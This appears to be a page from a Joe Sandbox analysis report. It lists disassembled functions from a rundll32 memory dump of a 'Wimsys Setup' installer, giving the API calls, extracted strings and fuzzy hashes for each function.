!x-sys-default-locale, xrefs: 045F3107

Memory Dump Source

Source File: 00000007.00000002.1508009358.00000000045E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 045E0000, based on PE: true

Associated: 00000007.00000002.1508009358.0000000004641000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.1508009358.0000000004648000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.1508009358.000000000464C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_45e0000_rundll32.jbxd

Similarity

API ID: FormatInfoLocaleMessage
String ID: !x-sys-default-locale
API String ID: 4235545615-2729719199
Opcode ID: 8cba36afa57796842fc797b9dd2197258263a54be72bcdb1e1d6526b2960aad6
Instruction ID: 0bd31e992d6790e23bfed9e092ceddb9e4daa63fe86d900675f0dc4e99ea39fe
Opcode Fuzzy Hash: 8cba36afa57796842fc797b9dd2197258263a54be72bcdb1e1d6526b2960aad6
Instruction Fuzzy Hash: FBE06DB6150108BFFB18DFA0CC0BDBB7BADEB09750F004159BD42D2180E6B5AE009BA0

Uniqueness

Uniqueness Score: -1.00%

Function 045E664C Relevance: 54.3, APIs: 36, Instructions: 312windowclipboardmemoryCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,00000403), ref: 045E66C5
GetDlgItem.USER32(?,000003EE), ref: 045E66D2
GetClientRect.USER32(00000000,?), ref: 045E670D
GetSystemMetrics.USER32(00000002), ref: 045E6715
SendMessageW.USER32(00000000,00001061,00000000,00000002), ref: 045E6737
SendMessageW.USER32(00000000,00001036,00004000,00004000), ref: 045E6746
SendMessageW.USER32(00000000,00001001,00000000,?), ref: 045E6758
SendMessageW.USER32(00000000,00001026,00000000,?), ref: 045E6765
SendMessageW.USER32(00000000,00001024,00000000,?), ref: 045E6777
ShowWindow.USER32(00000000,?), ref: 045E679A
ShowWindow.USER32(00000000,00000008), ref: 045E67AC
GetDlgItem.USER32(?,000003EC), ref: 045E67CB
SendMessageW.USER32(00000000,00000401,00000000,75300000), ref: 045E67DF
SendMessageW.USER32(00000000,00000409,00000000,?), ref: 045E67FA
SendMessageW.USER32(00000000,00002001,00000000,?), ref: 045E6807
ShowWindow.USER32(00000000), ref: 045E688C
ShowWindow.USER32(00000000,00000008), ref: 045E6891
GetDlgItem.USER32(?,000003F8), ref: 045E66DF

Part of subcall function 045E513D: SendMessageW.USER32(00000028,?,00000001,045E5939), ref: 045E5148

GetDlgItem.USER32(?,000003EC), ref: 045E6824
CreateThread.KERNEL32(00000000,00000000,Function_000065E0,00000000), ref: 045E6832
CloseHandle.KERNEL32(00000000), ref: 045E6839
ShowWindow.USER32(00000008), ref: 045E68CC
SendMessageW.USER32(00000000,00001004,00000000,00000000), ref: 045E6910
CreatePopupMenu.USER32 ref: 045E6922
AppendMenuW.USER32(?,00000000,00000001,00000000), ref: 045E6940
GetWindowRect.USER32(00000000,?), ref: 045E695E
TrackPopupMenu.USER32(?,00000180,?,?,00000000,?,00000000), ref: 045E697A
SendMessageW.USER32(00000000,00001073,?,?), ref: 045E69AD
OpenClipboard.USER32(00000000), ref: 045E69BD
EmptyClipboard.USER32 ref: 045E69C3
GlobalAlloc.KERNEL32(00000042,00000000), ref: 045E69CF
GlobalLock.KERNEL32(00000000), ref: 045E69DC
SendMessageW.USER32(00000000,00001073,00000000,?), ref: 045E69F8
GlobalUnlock.KERNEL32(00000000), ref: 045E6A1B
SetClipboardData.USER32(0000000D,00000000), ref: 045E6A26
CloseClipboard.USER32 ref: 045E6A2C

Memory Dump Source

Source File: 00000007.00000002.1508009358.00000000045E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 045E0000, based on PE: true

Associated: 00000007.00000002.1508009358.0000000004641000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.1508009358.0000000004648000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.1508009358.000000000464C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_45e0000_rundll32.jbxd

Similarity

API ID: MessageSend$Window$ItemShow$Clipboard$GlobalMenu$CloseCreatePopupRect$AllocAppendClientDataEmptyHandleLockMetricsOpenSystemThreadTrackUnlock
String ID:
API String ID: 590372296-0
Opcode ID: d689c41144b8d497d07bf6cf9050caaee49743c5c9b8ebb1f8cb8a9e24708a6e
Instruction ID: 0e69c9103fc4c3ebee1b7ef3307228f009477f09779771bc1fcf09ef480cb870
Opcode Fuzzy Hash: d689c41144b8d497d07bf6cf9050caaee49743c5c9b8ebb1f8cb8a9e24708a6e
Instruction Fuzzy Hash: 17B1E6B0644304AFE728EF75DC44E6BBBEDFB88754F401819F64196280E7B8AC45DBA1

Uniqueness

Uniqueness Score: -1.00%

Function 045E53F6 Relevance: 45.7, APIs: 22, Strings: 4, Instructions: 221windowstringCOMMON

Download Yara Rule

APIs

CheckDlgButton.USER32(?,?,00000001), ref: 045E549F
EnableWindow.USER32(?), ref: 045E54AC
GetDlgItem.USER32(?,000003E8), ref: 045E54B8
SendMessageW.USER32(00000000,0000045B,00000001,00000000), ref: 045E54D5
GetSysColor.USER32(FFFFFFF1), ref: 045E54E6
SendMessageW.USER32(00000000,00000443,00000000,FFFFFFF1), ref: 045E54F4
SendMessageW.USER32(00000000,00000445,00000000,04010000), ref: 045E5502
lstrlenW.KERNEL32(?), ref: 045E5508
SendMessageW.USER32(00000000,00000435,00000000,00000000), ref: 045E5516
SendMessageW.USER32(00000000,00000449,?,?), ref: 045E552D
GetDlgItem.USER32(?,0000040A), ref: 045E5583
SendMessageW.USER32(00000000), ref: 045E558A
EnableWindow.USER32(00000000), ref: 045E55A7
GetDlgItem.USER32(0000004E,000003E8), ref: 045E55CB
SendMessageW.USER32(00000000,0000044B,00000000,?), ref: 045E561A
LoadCursorW.USER32(00000000,00007F02), ref: 045E562C
SetCursor.USER32(00000000), ref: 045E5635
ShellExecuteExW.SHELL32(?), ref: 045E5678
LoadCursorW.USER32(00000000,00007F00), ref: 045E5684
SetCursor.USER32(00000000), ref: 045E5687
SendMessageW.USER32(00000111,00000001,00000000), ref: 045E56AF
SendMessageW.USER32(00000010,00000000,00000000), ref: 045E56C5

Strings

open, xrefs: 045E565C
N, xrefs: 045E55B7
<, xrefs: 045E566C
Exec, xrefs: 045E55FF

Memory Dump Source

Source File: 00000007.00000002.1508009358.00000000045E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 045E0000, based on PE: true

Associated: 00000007.00000002.1508009358.0000000004641000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.1508009358.0000000004648000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.1508009358.000000000464C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_45e0000_rundll32.jbxd

Similarity

API ID: MessageSend$Cursor$Item$EnableLoadWindow$ButtonCheckColorExecuteShelllstrlen
String ID: <$Exec$N$open
API String ID: 3270077613-1011106380
Opcode ID: 37e0806d2af1d27629bbd94b81654c515554df8cc40bfd662653b95481ce86ff
Instruction ID: a36d9d849e5ee1e8682aaa6849ebe8832c2e74812a75f067ca5ddc4d54ecf70b
Opcode Fuzzy Hash: 37e0806d2af1d27629bbd94b81654c515554df8cc40bfd662653b95481ce86ff
Instruction Fuzzy Hash: 3081A1B1604308EFDB18DFA5EC44A6B7BE9FB84358F00182DF64196250E7B8AD40DF92

Uniqueness

Uniqueness Score: -1.00%

Function 045E7DCD Relevance: 28.1, APIs: 14, Strings: 2, Instructions: 143COMMON

Download Yara Rule

APIs

DefWindowProcW.USER32(?,00000046,?,?), ref: 045E7E0E
BeginPaint.USER32(?,?), ref: 045E7E29
GetClientRect.USER32(?,?), ref: 045E7E3C
CreateBrushIndirect.GDI32(00000000), ref: 045E7EC7
FillRect.USER32(00000000,?,00000000), ref: 045E7EDB
DeleteObject.GDI32(00000000), ref: 045E7EE2
CreateFontIndirectW.GDI32(02D6AF98), ref: 045E7F08
SetBkMode.GDI32(00000000,00000001), ref: 045E7F2B
SetTextColor.GDI32(00000000,FFFFFFFF), ref: 045E7F35
SelectObject.GDI32(00000000,00000000), ref: 045E7F43
DrawTextW.USER32(00000000,Wimsys Setup,000000FF,?,00000820), ref: 045E7F59
SelectObject.GDI32(00000000,00000000), ref: 045E7F61
DeleteObject.GDI32(?), ref: 045E7F67
EndPaint.USER32(?,?), ref: 045E7F76

Strings

F, xrefs: 045E7DF4
Wimsys Setup, xrefs: 045E7F53

Memory Dump Source

Source File: 00000007.00000002.1508009358.00000000045E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 045E0000, based on PE: true

Associated: 00000007.00000002.1508009358.0000000004641000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.1508009358.0000000004648000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.1508009358.000000000464C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_45e0000_rundll32.jbxd

Similarity

API ID: Object$CreateDeleteIndirectPaintRectSelectText$BeginBrushClientColorDrawFillFontModeProcWindow
String ID: F$Wimsys Setup
API String ID: 941294808-3733406751
Opcode ID: 4b865ff217c6673fdf0b49db2e353c24e7137ba23bb4e5b128a9d0e9c3eb2198
Instruction ID: 9bbaccdb3c1f444f1fd9675e6ecb02715c03982b79b1c1422cbd27d2ef69c055
Opcode Fuzzy Hash: 4b865ff217c6673fdf0b49db2e353c24e7137ba23bb4e5b128a9d0e9c3eb2198
Instruction Fuzzy Hash: E651DE72008351AFC718CF61D84496BBBE8FF88325F045A1EF89697190D778E945DFA2

Uniqueness

Uniqueness Score: -1.00%

Function 045F44E5 Relevance: 21.1, APIs: 8, Strings: 4, Instructions: 51libraryloaderCOMMON

Download Yara Rule

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(04620678,00000FA0,?,?,045F44C3), ref: 045F44F1
GetModuleHandleW.KERNEL32(api-ms-win-core-synch-l1-2-0.dll,?,?,045F44C3), ref: 045F44FC
GetModuleHandleW.KERNEL32(kernel32.dll,?,?,045F44C3), ref: 045F450D
GetProcAddress.KERNEL32(00000000,SleepConditionVariableCS), ref: 045F451F
GetProcAddress.KERNEL32(00000000,WakeAllConditionVariable), ref: 045F452D
CreateEventW.KERNEL32(00000000,00000001,00000000,00000000,?,?,045F44C3), ref: 045F4550
DeleteCriticalSection.KERNEL32(04620678,00000007,?,?,045F44C3), ref: 045F456C
CloseHandle.KERNEL32(00000000,?,?,045F44C3), ref: 045F457C

Strings

kernel32.dll, xrefs: 045F4508
api-ms-win-core-synch-l1-2-0.dll, xrefs: 045F44F7
SleepConditionVariableCS, xrefs: 045F4519
WakeAllConditionVariable, xrefs: 045F4525

Memory Dump Source

Source File: 00000007.00000002.1508009358.00000000045E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 045E0000, based on PE: true

Associated: 00000007.00000002.1508009358.0000000004641000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.1508009358.0000000004648000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.1508009358.000000000464C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_45e0000_rundll32.jbxd

Similarity

API ID: Handle$AddressCriticalModuleProcSection$CloseCountCreateDeleteEventInitializeSpin
String ID: SleepConditionVariableCS$WakeAllConditionVariable$api-ms-win-core-synch-l1-2-0.dll$kernel32.dll
API String ID: 2565136772-3242537097
Opcode ID: 5bcfbcad9e956f53dc1a72ee03ed2167b9171ba099bf6982fd39da909c818a8f
Instruction ID: c2c72911ded2d5862e854ad6770caa8e44d22ad55d44073646739322d0a7e5c2
Opcode Fuzzy Hash: 5bcfbcad9e956f53dc1a72ee03ed2167b9171ba099bf6982fd39da909c818a8f
Instruction Fuzzy Hash: AA01D875B41711AFEB302B75BD1DA273658FB95B00B045011BB06E6510FBB8FD808E61

Uniqueness

Uniqueness Score: -1.00%

Function 045EAD50 Relevance: 19.4, APIs: 9, Strings: 2, Instructions: 155COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 045EAD6E
std::_Lockit::_Lockit.LIBCPMT ref: 045EAD89
std::_Lockit::~_Lockit.LIBCPMT ref: 045EADA9
std::_Lockit::~_Lockit.LIBCPMT ref: 045EADFF
std::_Facet_Register.LIBCPMT ref: 045EAF08
std::_Lockit::~_Lockit.LIBCPMT ref: 045EAF20
Concurrency::cancel_current_task.LIBCPMT ref: 045EAF2E
Concurrency::cancel_current_task.LIBCPMT ref: 045EAF33
Concurrency::cancel_current_task.LIBCPMT ref: 045EAF38

Strings

false, xrefs: 045EAEB1
true, xrefs: 045EAED7

Memory Dump Source

Source File: 00000007.00000002.1508009358.00000000045E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 045E0000, based on PE: true

Associated: 00000007.00000002.1508009358.0000000004641000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.1508009358.0000000004648000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.1508009358.000000000464C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_45e0000_rundll32.jbxd

Similarity

API ID: std::_$Lockit$Concurrency::cancel_current_taskLockit::~_$Lockit::_$Facet_Register
String ID: false$true
API String ID: 1941589060-2658103896
Opcode ID: 2b22a8be543ed0cb79a0867e5ed8ea5dee176b596db1ec56b478524965bb7b54
Instruction ID: 3edff9612c9d8ac64abb5dc74a4305a130a32b7a82da56f9064671680fd9cfa0
Opcode Fuzzy Hash: 2b22a8be543ed0cb79a0867e5ed8ea5dee176b596db1ec56b478524965bb7b54
Instruction Fuzzy Hash: DC51E374A002059BEB28DFA9E980BAAB7B0FF44304F144459DD05AB340E776FD45DB92

Uniqueness

Uniqueness Score: -1.00%

Function 045EC780 Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 82synchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 045EC8E0: AllocateAndInitializeSid.ADVAPI32(?,00000002,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000,045EC503), ref: 045EC91D
Part of subcall function 045EC8E0: CheckTokenMembership.ADVAPI32(00000000,045EC503,00000000), ref: 045EC92F
Part of subcall function 045EC8E0: GetLastError.KERNEL32 ref: 045EC939
Part of subcall function 045EC8E0: FreeSid.ADVAPI32(045EC503), ref: 045EC949

GetCurrentDirectoryW.KERNEL32(00000104,?,?,?,00000000), ref: 045EC7C5
GetModuleFileNameW.KERNEL32(00000000,?,00000104,?,?,00000000), ref: 045EC7D9
ShellExecuteExW.SHELL32(0000003C), ref: 045EC859
GetLastError.KERNEL32(?,?,?,?,?,00000000), ref: 045EC863
WaitForSingleObject.KERNEL32(?,000000FF,?,?,?,?,?,00000000), ref: 045EC878
GetExitCodeProcess.KERNEL32(?,?), ref: 045EC895
CloseHandle.KERNEL32(?,?,?,?,?,?,00000000), ref: 045EC8A1

Strings

<, xrefs: 045EC7EF
@, xrefs: 045EC84F
runas, xrefs: 045EC807

Memory Dump Source

Source File: 00000007.00000002.1508009358.00000000045E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 045E0000, based on PE: true

Associated: 00000007.00000002.1508009358.0000000004641000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.1508009358.0000000004648000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.1508009358.000000000464C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_45e0000_rundll32.jbxd

Similarity

API ID: ErrorLast$AllocateCheckCloseCodeCurrentDirectoryExecuteExitFileFreeHandleInitializeMembershipModuleNameObjectProcessShellSingleTokenWait
String ID: <$@$runas
API String ID: 281378056-2740324054
Opcode ID: bbe8d2d3ea4b0c3d942e2229cef4ab9d0a31bb85b4c5fcc21b51bad24f77744e
Instruction ID: 1051eaafba9d1be3f29a46121943ae815c70d207077c106b5c83e14d3937a114
Opcode Fuzzy Hash: bbe8d2d3ea4b0c3d942e2229cef4ab9d0a31bb85b4c5fcc21b51bad24f77744e
Instruction Fuzzy Hash: 853160B190021C9BEB34DF50DD48BDAB7B8EB00345F5041E5EB09A6181E7B4AEC9DF59

Uniqueness

Uniqueness Score: -1.00%

Function 045E2964 Relevance: 15.9, APIs: 7, Strings: 2, Instructions: 129memorystringCOMMON

Download Yara Rule

APIs

GetShortPathNameW.KERNEL32(00000000,046411F0,00000400), ref: 045E29A8
GetShortPathNameW.KERNEL32(00000000,046409F0,00000400), ref: 045E29C2
wsprintfA.USER32 ref: 045E29E4
GetFileSize.KERNEL32(00000000,00000000,00000004), ref: 045E2A2E

Part of subcall function 045E26F0: lstrlenA.KERNEL32([Rename],00000000,00000000,00000000,00000000,?,045E2A64,00000000), ref: 045E2706
Part of subcall function 045E26F0: lstrlenA.KERNEL32(00000000,?,045E2A64,00000000), ref: 045E270B
Part of subcall function 045E26F0: lstrlenA.KERNEL32(00000000,?,045E2A64,00000000), ref: 045E2741

GlobalAlloc.KERNEL32(00000040,0000000A), ref: 045E2A3E
lstrcpyA.KERNEL32(00000000,[Rename],00000000), ref: 045E2A71
GlobalFree.KERNEL32(00000000), ref: 045E2AA3

Part of subcall function 045E2797: GetFileAttributesW.KERNEL32(003A0043,00000000,00000400,00000000,00000000), ref: 045E27BB
Part of subcall function 045E2797: CreateFileW.KERNEL32(003A0043,80000000,00000001,00000000,?,00000000,00000000), ref: 045E27D4
Part of subcall function 045E2797: GetModuleFileNameW.KERNEL32(00000000,?,00000104), ref: 045E27EC
Part of subcall function 045E2797: lstrcmpW.KERNEL32(003A0043,?), ref: 045E27F8

Part of subcall function 045E219D: CloseHandle.KERNEL32(00000000,045E29A1,00000001,00000000,00000000,?,00000001,045E2AFD), ref: 045E21B4

Strings

%ls=%ls, xrefs: 045E29DA
[Rename], xrefs: 045E2A58, 045E2A68

Memory Dump Source

Source File: 00000007.00000002.1508009358.00000000045E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 045E0000, based on PE: true

Associated: 00000007.00000002.1508009358.0000000004641000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.1508009358.0000000004648000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.1508009358.000000000464C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_45e0000_rundll32.jbxd

Similarity

API ID: File$Namelstrlen$GlobalPathShort$AllocAttributesCloseCreateFreeHandleModuleSizelstrcmplstrcpywsprintf
String ID: %ls=%ls$[Rename]
API String ID: 3231248955-461813615
Opcode ID: 8304cabbcaa5a6a553b3d04fc9758970bde83ecc1bbbab0e8c931378c98e326d
Instruction ID: 766efa106a548b4353e99338d4208701dcc1875b583cc5eed38d4f7dc6384f56
Opcode Fuzzy Hash: 8304cabbcaa5a6a553b3d04fc9758970bde83ecc1bbbab0e8c931378c98e326d
Instruction Fuzzy Hash: 36313875300202A7EB3CAA279C54E7B734EFBC0658F1445A8F60697249FEA4BC42B394

Uniqueness

Uniqueness Score: -1.00%

Function 045EBDB0 Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 224COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 045EBE1A
std::_Lockit::_Lockit.LIBCPMT ref: 045EBE37
std::_Lockit::~_Lockit.LIBCPMT ref: 045EBE58
std::_Facet_Register.LIBCPMT ref: 045EBF09
std::_Lockit::~_Lockit.LIBCPMT ref: 045EBF21

Strings

ios_base::failbit set, xrefs: 045EC021, 045EC03D
ios_base::badbit set, xrefs: 045EC018
ios_base::eofbit set, xrefs: 045EC026

Memory Dump Source

Source File: 00000007.00000002.1508009358.00000000045E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 045E0000, based on PE: true

Associated: 00000007.00000002.1508009358.0000000004641000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.1508009358.0000000004648000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.1508009358.000000000464C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_45e0000_rundll32.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_Register
String ID: ios_base::badbit set$ios_base::eofbit set$ios_base::failbit set
API String ID: 459529453-1866435925
Opcode ID: 02c6af396daf1ecf70c260ae2b721c2feb034344f3a42bfd0812d845dc529a92
Instruction ID: 2724574416454397a4dbde5979b9c34db9391969f8e302761d640ddbf8fdf1a8
Opcode Fuzzy Hash: 02c6af396daf1ecf70c260ae2b721c2feb034344f3a42bfd0812d845dc529a92
Instruction Fuzzy Hash: A4819971A002059FEB19DF99D884AAEB7F5FF88314F148059E915AB360EB30FD00DB90

Uniqueness

Uniqueness Score: -1.00%

Function 046016D6 Relevance: 14.1, APIs: 1, Strings: 7, Instructions: 147COMMONLIBRARYCODE

Download Yara Rule

APIs

DecodePointer.KERNEL32(00000000,?,?,?,?,?,?,?,?,045FB0A0), ref: 046016EF

Strings

exp, xrefs: 0460176E, 046017D3
log, xrefs: 0460174C, 0460175B
pow, xrefs: 0460178D, 04601837, 04601884
acos, xrefs: 04601825
asin, xrefs: 0460181C
sqrt, xrefs: 0460182E
log10, xrefs: 04601731, 04601740

Memory Dump Source

Source File: 00000007.00000002.1508009358.00000000045E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 045E0000, based on PE: true

Associated: 00000007.00000002.1508009358.0000000004641000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.1508009358.0000000004648000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.1508009358.000000000464C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_45e0000_rundll32.jbxd

Similarity

API ID: DecodePointer
String ID: acos$asin$exp$log$log10$pow$sqrt
API String ID: 3527080286-3064271455
Opcode ID: 9feeb23f7c551ae2e7ad29861131e8b679433010997aa3bbe8cd5fb620ebc298
Instruction ID: 8bfb8f85c81f77dfa153f202e0ceaa61f3ccb4ae2efd1a1b344383731f2f611a
Opcode Fuzzy Hash: 9feeb23f7c551ae2e7ad29861131e8b679433010997aa3bbe8cd5fb620ebc298
Instruction Fuzzy Hash: 8C51A070A0060ACBEF289F69D84C1EF7FB4FF46300F048155D881A63A4F776A666CB45

Uniqueness

Uniqueness Score: -1.00%

Function 045F7AD2 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 303COMMONLIBRARYCODE

Download Yara Rule

APIs

type_info::operator==.LIBVCRUNTIME ref: 045F7BF1
___TypeMatch.LIBVCRUNTIME ref: 045F7CFF
_UnwindNestedFrames.LIBCMT ref: 045F7E51
CallUnexpected.LIBVCRUNTIME ref: 045F7E6C

Strings

csm, xrefs: 045F7C28
csm, xrefs: 045F7B0F
csm, xrefs: 045F7B7C

Memory Dump Source

Source File: 00000007.00000002.1508009358.00000000045E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 045E0000, based on PE: true

Associated: 00000007.00000002.1508009358.0000000004641000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.1508009358.0000000004648000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.1508009358.000000000464C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_45e0000_rundll32.jbxd

Similarity

API ID: CallFramesMatchNestedTypeUnexpectedUnwindtype_info::operator==
String ID: csm$csm$csm
API String ID: 2751267872-393685449
Opcode ID: 1efec9495fe895900d82d795fec209acbd4b6d7892b4a0562fdc674da9a5236d
Instruction ID: b3d0ddb8d1a601a53cf832fc59ef7dbcbe3fc044c0ae5366367df902e507a874
Opcode Fuzzy Hash: 1efec9495fe895900d82d795fec209acbd4b6d7892b4a0562fdc674da9a5236d
Instruction Fuzzy Hash: 1EB19F7180020AEFDF15DFA4DC809AEBBB5FF48314F14455AEA11AB211E330FA51EB92

Uniqueness

Uniqueness Score: -1.00%

Function 045F3E12 Relevance: 12.2, APIs: 8, Instructions: 175COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000000,00000001,?,00000000,00000000,?,?,?,00000001), ref: 045F3E5B
__alloca_probe_16.LIBCMT ref: 045F3E87
MultiByteToWideChar.KERNEL32(00000001,00000001,00000000,?,00000000,00000000), ref: 045F3EC6
LCMapStringEx.KERNEL32(?,?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 045F3EE3
LCMapStringEx.KERNEL32(?,?,00000000,00000000,00000000,?,00000000,00000000,00000000), ref: 045F3F22
__alloca_probe_16.LIBCMT ref: 045F3F3F
LCMapStringEx.KERNEL32(?,?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 045F3F81
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,?,00000000,00000000), ref: 045F3FA4

Memory Dump Source

Source File: 00000007.00000002.1508009358.00000000045E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 045E0000, based on PE: true

Associated: 00000007.00000002.1508009358.0000000004641000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.1508009358.0000000004648000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.1508009358.000000000464C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_45e0000_rundll32.jbxd

Similarity

API ID: ByteCharMultiStringWide$__alloca_probe_16
String ID:
API String ID: 2040435927-0
Opcode ID: 1d6cf57a66c4daa8d5c5f76b4f1fc8cb4e5a274a632e1b62b0013d909d03aa70
Instruction ID: 4a106d1fe999de2877b00750ec6c41e8a341069b9b2b86548e0acf0bfef085fd
Opcode Fuzzy Hash: 1d6cf57a66c4daa8d5c5f76b4f1fc8cb4e5a274a632e1b62b0013d909d03aa70
Instruction Fuzzy Hash: 47518C72610206ABFF209F64DC44FAB7BB9FF40754F144425FE05D6190E778A950ABA1

Uniqueness

Uniqueness Score: -1.00%

Function 045E5165 Relevance: 12.1, APIs: 8, Instructions: 66COMMON

Download Yara Rule

APIs

GetWindowLongW.USER32(?,000000EB), ref: 045E518E
GetSysColor.USER32(00000000), ref: 045E51A3
SetTextColor.GDI32(?,00000000), ref: 045E51B1
SetBkMode.GDI32(?,?), ref: 045E51BB
GetSysColor.USER32(?), ref: 045E51CE
SetBkColor.GDI32(?,?), ref: 045E51DF
DeleteObject.GDI32(?), ref: 045E51FA
CreateBrushIndirect.GDI32(?), ref: 045E5204

Memory Dump Source

Source File: 00000007.00000002.1508009358.00000000045E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 045E0000, based on PE: true

Associated: 00000007.00000002.1508009358.0000000004641000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.1508009358.0000000004648000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.1508009358.000000000464C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_45e0000_rundll32.jbxd

Similarity

API ID: Color$BrushCreateDeleteIndirectLongModeObjectTextWindow
String ID:
API String ID: 2320649405-0
Opcode ID: 31adc5121b63761e101ee524d0ccba7268fdf6e08befc9044a1b4e7a9a765f67
Instruction ID: e13870acf43008ae742c019a27d031b16b43e8beb25bc99c742412c550b8f3cd
Opcode Fuzzy Hash: 31adc5121b63761e101ee524d0ccba7268fdf6e08befc9044a1b4e7a9a765f67
Instruction Fuzzy Hash: E4217870500708ABD7298FA9E808B7BBBF8FF01708F048918E99292540E778A9449B60

Uniqueness

Uniqueness Score: -1.00%

Function 045F75A0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 045F75D7
___except_validate_context_record.LIBVCRUNTIME ref: 045F75DF
_ValidateLocalCookies.LIBCMT ref: 045F7668
__IsNonwritableInCurrentImage.LIBCMT ref: 045F7693
_ValidateLocalCookies.LIBCMT ref: 045F76E8

Strings

csm, xrefs: 045F767D

Memory Dump Source

Source File: 00000007.00000002.1508009358.00000000045E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 045E0000, based on PE: true

Associated: 00000007.00000002.1508009358.0000000004641000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.1508009358.0000000004648000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.1508009358.000000000464C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_45e0000_rundll32.jbxd

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: 041f24cbef3b3e6bc77254f87aea40c2423a861263925c7a9154f05907680482
Instruction ID: 247bdaffea43d541eec516b4bffe1dccdc8a5b5e66789df6d8622d67f7a8d1b6
Opcode Fuzzy Hash: 041f24cbef3b3e6bc77254f87aea40c2423a861263925c7a9154f05907680482
Instruction Fuzzy Hash: AA41B434A002099BCF10EF6DDC84A9EBBA5FF49318F048195DA149B391E731FA05DF92

Uniqueness

Uniqueness Score: -1.00%

Function 045EAC00 Relevance: 10.6, APIs: 7, Instructions: 111COMMON

Download Yara Rule

APIs

